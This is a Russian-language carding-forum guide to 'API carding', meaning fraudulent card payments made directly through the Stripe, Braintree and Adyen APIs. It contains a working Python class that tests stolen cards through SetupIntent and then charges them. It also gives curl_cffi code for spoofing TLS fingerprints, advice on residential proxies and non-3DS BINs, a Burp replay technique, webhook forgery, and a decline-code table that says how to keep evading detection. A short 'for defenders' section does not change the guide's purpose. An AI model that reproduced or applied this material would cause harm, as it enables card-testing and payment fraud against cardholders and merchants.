API-кардинг: как работать напрямую с платежными шлюзами в обход браузера

Good Carder

Professional
Messages
753
Reaction score
493
Points
63

Введение: почему браузер — это слабое звено, а API — территория высокого риска​

Если вам нужна высокая скрытность и скорость, браузер — это балласт, который тянет вас ко дну.

Браузер оставляет сотни цифровых следов — от Canvas-отпечатков до поведенческих паттернов. Антидетект браузеры маскируют эти следы, но каждая маскировка оставляет собственные аномалии. Stripe Radar анализирует более 1000 сигналов по каждой транзакции за 100 миллисекунд, включая разрешение экрана, установленные шрифты и кривые движения мыши.

Прямой API-запрос оставляет лишь несколько заголовков и TLS-рукопожатие. Он не может «протечь» WebRTC, не оставляет Canvas-отпечатка, не требует эмуляции движений мыши и не имеет поведенческого фингерпринта. При правильной реализации API-подход чище, быстрее и масштабируемее любого браузера.

Но за эту «чистоту» приходится платить. API-запросы, лишённые естественного браузерного контекста, выглядят подозрительно для антифрод систем. Именно поэтому API-кардинг требует безупречной технической базы: резидентных прокси с фрод-скоростью ниже 30, корректного TLS-отпечатка, отсутствия шаблонного поведения.

В этой статье я разберу:
  • Как устроены API Stripe, Braintree и Adyen — от создания платежа до обработки ответа.
  • Как эмулировать легитимную платёжную сессию через API без браузера и антидетекта.
  • Инструменты от Postman до самописных Python скриптов с подменой TLS fingerprint.
  • Главные риски API-подхода и почему он требует более чистых прокси и карт.

Часть 1. Архитектура платежных API: как устроены Stripe, Braintree и Adyen​

Платежный API — это интерфейс между вашим кодом и процессинговой инфраструктурой. Понимание его внутреннего устройства — ключ к минимизации детекции.

1.1. Stripe API​

Центральный объект Stripe — PaymentIntent, управляющий полным жизненным циклом платежа от авторизации до расчёта.

Create PaymentIntent — базовый запрос:
Bash:
curl https://api.stripe.com/v1/payment_intents \
  -u sk_live_123456: \
  -d amount=5000 \
  -d currency=usd \
  -d "payment_method_types[]=card"

Создание PaymentIntent с привязкой к карте:
Bash:
curl https://api.stripe.com/v1/payment_intents \
  -u sk_live_123456: \
  -d amount=5000 \
  -d currency=usd \
  -d "payment_method_data[type]=card" \
  -d "payment_method_data[card][number]=4242424242424242" \
  -d "payment_method_data[card][exp_month]=12" \
  -d "payment_method_data[card][exp_year]=2028" \
  -d "payment_method_data[card][cvc]=123" \
  -d confirm=true

Ключевой параметр: confirm=true объединяет создание и подтверждение в одном вызове. Stripe настоятельно не рекомендует передавать голые номера карт через API без клиентской библиотеки. Stripe теперь проверяет и блокирует запросы, отправляющие сырые номера карт без токенизации. Это прямое указание на то, что такой метод отслеживается и маркируется как подозрительный.

Для целей тестирования Stripe предоставляет карты, возвращающие определённые коды ошибок, позволяя разработчикам отлаживать логику отказов.

SetupIntent — проверка карты без списания:
SetupIntent сохраняет платёжные данные для будущих платежей без немедленного списания. Stripe автоматически запускает 0/0/1 авторизацию для валидации данных.

Критическое ограничение: SetupIntent не проверяет баланс карты или достаточность средств.

1.2. Braintree API (PayPal)​

Braintree использует концепцию payment method nonce — одноразового токена, представляющего платёжные данные. Этот токен генерируется клиентским SDK и безопасен для передачи на сервер.

Пример создания транзакции с nonce:
PHP:
$result = Braintree_Transaction::sale([
    'amount' => '100.00',
    'paymentMethodNonce' => $nonce_from_the_client,
    'options' => [
        'submitForSettlement' => true
    ]
]);

Braintree автоматически проверяет AVS/CVV и может отклонять транзакции как на уровне шлюза (до отправки в банк), так и на уровне процессинга. Gateway rejection происходит при несовпадении AVS/CVV критериев, а processor decline означает отказ банка клиента.

Ответ сервера при Processor Decline:
PHP:
array(3) {
  ["success"]=>
  bool(false)
  ["transaction"]=>
  NULL
  ["errors"]=>
  array(1) {
    ["errors"]=>
    array(1) {
      [0]=>
      array(6) {
        ["code"]=>
        string(4) "2046"  // Processor Decline
        ["message"]=>
        string(55) "Payment has been declined by the processor."
      }
    }
  }
}

1.3. Adyen Checkout API​

Adyen Checkout API поддерживает карты, мобильные кошельки и локальные методы оплаты (iDEAL, Sofort).

Базовый запрос к /payments:
Bash:
curl https://checkout-test.adyen.com/v71/payments \
  -H 'x-api-key: YOUR_API_KEY' \
  -H 'content-type: application/json' \
  -d '{
    "amount": {"value": 5000, "currency": "USD"},
    "paymentMethod": {
      "type": "scheme",
      "number": "4111111111111111",
      "expiryMonth": "12",
      "expiryYear": "2028",
      "cvc": "123"
    },
    "reference": "ORDER_ID_12345",
    "merchantAccount": "YOUR_MERCHANT_ACCOUNT"
  }'

Adyen поддерживает zero-value auth — запрос нулевой авторизации для валидации карты без холдирования. Ответ содержит resultCode: Authorised, Refused или Error.

Что происходит при zero-value auth:
  1. Adyen отправляет verification call эквайеру.
  2. Банк проверяет валидность карты без списания средств.
  3. Возвращается код авторизации или отказа.

Часть 2. Эмуляция валидной сессии через API​

2.1. Почему API без эмуляции — мгновенный бан​

Голый API-запрос легко идентифицировать как бота по трём признакам:
  • JA3/TLS-отпечаток отличается от браузерного.
  • Нестандартные HTTP-заголовки.
  • Аномально быстрое заполнение и отправка формы.

2.2. Решение: библиотеки для подмены TLS fingerprint​

curl_cffi — Python библиотека, имитирующая TLS/JA3 и HTTP/2 отпечатки реальных браузеров через BoringSSL (для Chrome) и nss (для Firefox). Она значительно быстрее requests и httpx.

Базовое использование:
Python:
from curl_cffi import requests

# Имитация Chrome 120
response = requests.get(
    'https://api.stripe.com/v1/payment_intents',
    impersonate='chrome120',
    auth=('sk_live_123456', '')
)

Полный список доступных для имитации браузеров:
Python:
# Chrome
browsers = [
    "chrome99", "chrome100", "chrome101", "chrome104", "chrome107", "chrome110",
    "chrome116", "chrome119", "chrome120", "chrome123", "chrome124", "chrome126",
    "chrome127", "chrome128", "chrome129", "chrome130", "chrome131", "chrome132"
]

# Safari
safari_versions = ["safari15_5", "safari17_0", "safari17_2_1", "safari18_0", "safari18_2"]

# Edge
edge_versions = ["edge99", "edge101", "edge110", "edge131", "edge132"]

# Firefox
firefox_versions = ["firefox102", "firefox104", "firefox110", "firefox119", "firefox133"]

Продвинутый метод с кастомным отпечатком:
Python:
from curl_cffi import requests

fingerprint = requests.get_fingerprint("edge_146_macos_26")

response = requests.post(
    'https://api.stripe.com/v1/payment_intents',
    impersonate=fingerprint,
    default_headers=False,  # Полный контроль над заголовками
    headers={
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36',
        'Accept-Language': 'en-US,en;q=0.9',
        'Accept-Encoding': 'gzip, deflate, br',
        'Content-Type': 'application/x-www-form-urlencoded'
    }
)

Альтернативные библиотеки:
  • TLS-Chameleon — имитирует TLS отпечатки браузера с простым API, похожим на requests.
  • httpz-ja3 — обёртка над Go-пакетом, предоставляющая возможности JA3 fingerprinting.

2.3. Интеграция с Burp Suite​

TLS Fingerprint Bypass — расширение Burp Suite, перенаправляющее запросы через curl_cffi для корректной имитации JA3/JA4-отпечатков. Установив его, вы сможете перехватывать и модифицировать трафик в Burp, а отправлять его будет curl_cffi с подменой отпечатка.

2.4. Эмуляция платёжного контекста​

Карта, проверенная через SetupIntent (пример кода):
Python:
from curl_cffi import requests
import json

stripe_key = 'sk_live_123456'
card_data = {
    "type": "card",
    "card": {
        "number": "4242424242424242",
        "exp_month": 12,
        "exp_year": 2028,
        "cvc": "123"
    }
}

# Шаг 1: Создание SetupIntent
setup_intent = requests.post(
    'https://api.stripe.com/v1/setup_intents',
    auth=(stripe_key, ''),
    data={'payment_method_types[]': 'card'},
    impersonate='chrome120'
)

# Шаг 2: Прикрепление платёжного метода
setup_intent_id = setup_intent.json()['id']

attach_response = requests.post(
    f'https://api.stripe.com/v1/setup_intents/{setup_intent_id}/confirm',
    auth=(stripe_key, ''),
    data={'payment_method_data': json.dumps(card_data)},
    impersonate='chrome120'
)

Для полноценного платежа используйте PaymentIntent с теми же параметрами.

Часть 3. Инструменты: от Postman до собственных скриптов​

3.1. Postman для отладки API​

Postman позволяет сохранять коллекции запросов, автоматически подставлять API-ключи и переменные.

Шаблон коллекции для Stripe:
  • Create PaymentIntent: POST /v1/payment_intents
  • Confirm PaymentIntent: POST /v1/payment_intents/:id/confirm
  • Create Refund: POST /v1/refunds

Важная настройка: в Postman можно отключить автоматическую отправку заголовка Postman-Token, который палит автоматизацию. Для API-кардинга используйте ручную сборку заголовков в скриптах, а не готовые клиенты.

3.2. Burp Suite для перехвата и модификации​

Burp Suite перехватывает трафик между приложением и платежным шлюзом, позволяя просматривать и изменять параметры запроса в реальном времени.

Техника «replay attack»:
  1. Перехватите успешный платёжный запрос в Burp.
  2. Отправьте его в Repeater.
  3. Измените сумму, номер карты или billing-адрес.
  4. Отправьте повторно, наблюдая за ответом.

Burp выявляет аномалии вроде несоответствия формата данных или необычной последовательности действий, которые помогают антифрод системам распознавать автоматизацию.

3.3. Полноценный Python скрипт для API-кардинга​

Python:
#!/usr/bin/env python3
import time
import json
import random
from curl_cffi import requests
from fake_useragent import UserAgent

class StripeAPICarding:
    def __init__(self, api_key, proxy=None):
        self.api_key = api_key
        self.proxy = proxy
        self.impersonate = random.choice([
            "chrome120", "chrome123", "chrome124", 
            "safari17_0", "edge131", "firefox119"
        ])
        self.session = self._create_session()
    
    def _create_session(self):
        session = requests.Session()
        session.impersonate = self.impersonate
        
        # Браузерные заголовки — критически важны!
        ua = UserAgent()
        session.headers.update({
            'User-Agent': ua.random,
            'Accept': 'application/json',
            'Accept-Language': 'en-US,en;q=0.9',
            'Accept-Encoding': 'gzip, deflate, br',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Origin': 'https://checkout.stripe.com',
            'Referer': 'https://checkout.stripe.com/',
            'Sec-Ch-Ua': '"Not_A Brand";v="8", "Chromium";v="120"',
            'Sec-Ch-Ua-Mobile': '?0',
            'Sec-Ch-Ua-Platform': '"Windows"',
            'Sec-Fetch-Dest': 'empty',
            'Sec-Fetch-Mode': 'cors',
            'Sec-Fetch-Site': 'same-site'
        })
        
        if self.proxy:
            session.proxies = {"https": self.proxy}
        
        return session
    
    def check_card(self, card_number, exp_month, exp_year, cvc):
        """Проверка карты через SetupIntent (zero auth)."""
        try:
            # Создание SetupIntent
            setup_response = self.session.post(
                'https://api.stripe.com/v1/setup_intents',
                auth=(self.api_key, ''),
                data={'payment_method_types[]': 'card'},
                timeout=30
            )
            
            if setup_response.status_code != 200:
                return False, f"SetupIntent failed: {setup_response.status_code}"
            
            setup_intent_id = setup_response.json()['id']
            
            # Подтверждение с картой
            payment_method_data = {
                "type": "card",
                "card": {
                    "number": card_number,
                    "exp_month": exp_month,
                    "exp_year": exp_year,
                    "cvc": cvc
                }
            }
            
            confirm_response = self.session.post(
                f'https://api.stripe.com/v1/setup_intents/{setup_intent_id}/confirm',
                auth=(self.api_key, ''),
                data={'payment_method_data': json.dumps(payment_method_data)},
                timeout=30
            )
            
            result = confirm_response.json()
            
            if confirm_response.status_code == 200 and result.get('status') == 'succeeded':
                return True, "Card is valid"
            else:
                error = result.get('error', {}).get('code', 'unknown')
                return False, f"Declined: {error}"
                
        except Exception as e:
            return False, f"Exception: {str(e)}"
    
    def make_payment(self, card_data, amount_usd):
        """Выполнение полноценного платежа через PaymentIntent."""
        amount_cents = int(amount_usd * 100)
        
        # Создание и подтверждение PaymentIntent
        payment_data = {
            'amount': amount_cents,
            'currency': 'usd',
            'payment_method_data[type]': 'card',
            'payment_method_data[card][number]': card_data['number'],
            'payment_method_data[card][exp_month]': card_data['exp_month'],
            'payment_method_data[card][exp_year]': card_data['exp_year'],
            'payment_method_data[card][cvc]': card_data['cvc'],
            'confirm': 'true',
            'return_url': 'https://example.com/complete'
        }
        
        response = self.session.post(
            'https://api.stripe.com/v1/payment_intents',
            auth=(self.api_key, ''),
            data=payment_data,
            timeout=30
        )
        
        result = response.json()
        
        if response.status_code == 200:
            if result.get('status') == 'succeeded':
                return True, result.get('id'), "Payment succeeded"
            elif result.get('status') == 'requires_action':
                # 3DS required — карта требует дополнительной аутентификации
                next_action = result.get('next_action', {})
                if next_action.get('type') == 'redirect_to_url':
                    return False, result.get('id'), "3DS required"
        
        error = result.get('error', {})
        decline_code = error.get('decline_code', error.get('code', 'unknown'))
        return False, None, f"Declined: {decline_code}"

# Пример использования
if __name__ == '__main__':
    api = StripeAPICarding(
        api_key='sk_live_123456',
        proxy='http://user:pass@residential-proxy.com:8080'
    )
    
    # Проверка карты перед платежом
    valid, msg = api.check_card(
        card_number='4242424242424242',
        exp_month=12,
        exp_year=2028,
        cvc='123'
    )
    
    print(f"Check result: {msg}")
    
    if valid:
        # Выполнение платежа
        card_info = {
            'number': '4242424242424242',
            'exp_month': 12,
            'exp_year': 2028,
            'cvc': '123'
        }
        success, tx_id, msg = api.make_payment(card_info, 49.99)
        print(f"Payment result: {msg}")

Часть 4. Риски и ограничения API-кардинга​

4.1. Stripe Radar 2026: почему API стал опаснее​

В 2026 году Stripe выпустил Radar 3.0, использующий алгоритмы генеративного AI для обнаружения фрода. Карточное тестирование снизилось на 64% благодаря системам Stripe, использующим тысячи сигналов для оценки каждой транзакции. Stripe обучил фундаментальную модель на десятках миллиардов транзакций, что повысило точность обнаружения и снизило количество ложных срабатываний.

Radar также собирает сигналы устройства и поведения на каждой странице, что улучшило точность ML примерно на 36%.

4.2. Почему API требует более чистых прокси и карт​

API-запросы лишены «человеческого контекста»: нет истории просмотра, нет cookies, нет сессионных данных. Всё, что остаётся — это IP, TLS-отпечаток и карта. Любой подозрительный сигнал становится весомее. Для API-кардинга неприемлемы:
  • Дата-центр прокси с фрод-скоростью выше 30.
  • Prepaid карты без истории.
  • BIN с высоким фрод-риском.

4.3. Коды ошибок Stripe — навигатор по отказу​

Decline CodeРасшифровкаДействие
fraudulentStripe Radar заблокировал транзакциюМеняйте прокси, чистоту IP, характер запросов
do_not_honorБанк эмитента заблокировал картуКарта мертва, не используйте её снова
insufficient_fundsНедостаточно средствПроверяйте баланс перед оплатой
authentication_requiredТребуется 3DSКарту можно использовать только для non-3DS транзакций

Код fraudulent — окончательный приговор: Stripe жёстко маркирует транзакцию как мошенническую. Согласно документации Stripe, мерчантам рекомендуется абсолютное молчание при получении этого кода — любые попытки связаться с «клиентом» только усугубят ситуацию.

4.4. Детекция BIN в реальном времени​

Платежные процессоры могут проверять BIN в реальном времени через BIN Lookup API, получая страну эмитента, тип карты (prepaid/debit) и прошлые фрод-сигналы. Stripe Radar позволяет создавать списки блокировки по BIN. Многие платежные процессоры, включая Stripe и Adyen, имеют возможность блокировки BIN, связанных с prepaid картами или иностранными эмитентами с высоким уровнем фрода.

4.5. Многоуровневая защита шлюзов​

Braintree предоставляет Premium Fraud Management Tools — набор проверок, срабатывающих до отправки запроса в банк. Современные антифрод платформы (Kount, Sift, ThreatMetrix) используют AI для генерации фрод-скора от 0 до 100. Любая транзакция с недостаточными сигналами девайса может быть автоматически отклонена.

Связка «Trusted Checkout» от Mastercard (NuDetect) требует обязательного сбора fingerprint данных на странице оплаты. При невозможности сбора таких данных транзакция не отправляется на риск-скоринг и может быть отклонена автоматически.

4.6. 3D Secure: тупик для API-кардинга​

Если карта требует 3DS, Stripe возвращает объект requires_action, содержащий URL для редиректа. Это практически непреодолимое препятствие для чисто API-подхода без браузерной эмуляции. Adyen обрабатывает 3DS через параметр redirectShopper.

Часть 5. Защита мерчантов: как платежные системы выявляют API-кардинг​

Эта информация предназначена для специалистов по безопасности, разрабатывающих системы защиты. Понимание механизмов обнаружения позволяет выстраивать более эффективную оборону.

5.1. Обнаружение по TLS-отпечатку (JA3)​

Каждый HTTP-клиент имеет уникальный отпечаток JA3. Библиотека curl_cffi решает эту проблему, но даже имитация браузера может быть идентифицирована по микро-отличиям в порядке Cipher Suites.

5.2. Анализ скорости транзакций​

Stripe Radar позволяет ограничивать количество попыток с одного IP и количество карт, привязанных к одному клиенту. Если скрипт отправляет запросы быстрее, чем это возможно для человека (менее 3-5 секунд на транзакцию), триггерится блокировка.

5.3. Обнаружение по шаблонам BIN​

Платежные процессоры анализируют BIN по множеству параметров: страна эмитента, тип карты (prepaid, debit), история фрода, неподдерживаемые протоколы авторизации. Карты с BIN, ассоциированным с кардингом, блокируются ещё до запроса.

5.4. Webhook аутентификация​

Некоторые защищённые интеграции требуют валидации source_ip вебхука, чтобы убедиться, что запрос действительно пришёл от Stripe. Перехват и подделка вебхуков — один из методов обхода, используемый в кардинг-операциях при неправильной конфигурации аутентификации endpoint’ов. Этот метод позволяет API-клиенту отправлять фальшивые нотификации об успешной оплате, минуя реальный платёжный шлюз.

5.5. Блокировка по дата-центр IP​

IP-адреса из дата-центров Amazon AWS, DigitalOcean, OVH и Google Cloud — мгновенный красный флаг для API-запросов. Только резидентные или мобильные IP дают шанс на успех.

Часть 6. Комплексный чек-лист: подготовка к API-кардингу​

  • API-ключ — от тестового Stripe-аккаунта, созданного через Tor, с минимальным объёмом транзакций.
  • Резидентный прокси — фрод-скор <30, страна = стране BIN. Дата-центры абсолютно исключены.
  • JA3/TLS имитация — через curl_cffi с актуальным отпечатком браузера.
  • Заголовки — полный набор браузерных заголовков. Сессионные заголовки должны быть консистентны с User-Agent.
  • Паузы между запросами — минимум 3-5 секунд, лучше 10-15.
  • Карты только с non‑3DS BIN — иначе запрос упирается в 3DS-редирект.
  • Проверка карты через SetupIntent — перед основным платежом.
  • Обработка ошибок — логирование кодов, ротация прокси при fraudulent.

Заключение: API-кардинг — территория высокого риска, но и высокого потенциала​

API-кардинг — это не волшебная кнопка «невидимости». Это инструмент, требующий безупречной технической базы и глубокого понимания внутреннего устройства платёжных систем.

Три главных вывода:
  1. Главное преимущество API — отсутствие браузерного фингерпринта. Canvas, WebGL, шрифты — всё это не нужно имитировать.
  2. Главный риск API — отсутствие «человеческого контекста». Поэтому требования к чистоте прокси и карт в разы выше.
  3. Радар 3.0 и AI-детекция Stripe делают API-кардинг сложнее с каждым годом. Карточное тестирование снизилось на 64% именно благодаря этим улучшениям.

Успех API-кардинга строится на трёх столпах: чистый резидентный прокси, корректный JA3-отпечаток (через curl_cffi) и свежие карты с non-3DS BIN. Без любого из них даже идеальный код бесполезен.

Быстрая памятка на одну строку:
«API-кардинг — это авиация: выше, быстрее, смертоноснее, но цена ошибки в разы выше. Каждый баг или грязный сигнал — катастрофа. Не пытайтесь без парашюта (чистого прокси и non-3DS BIN)»
 
Top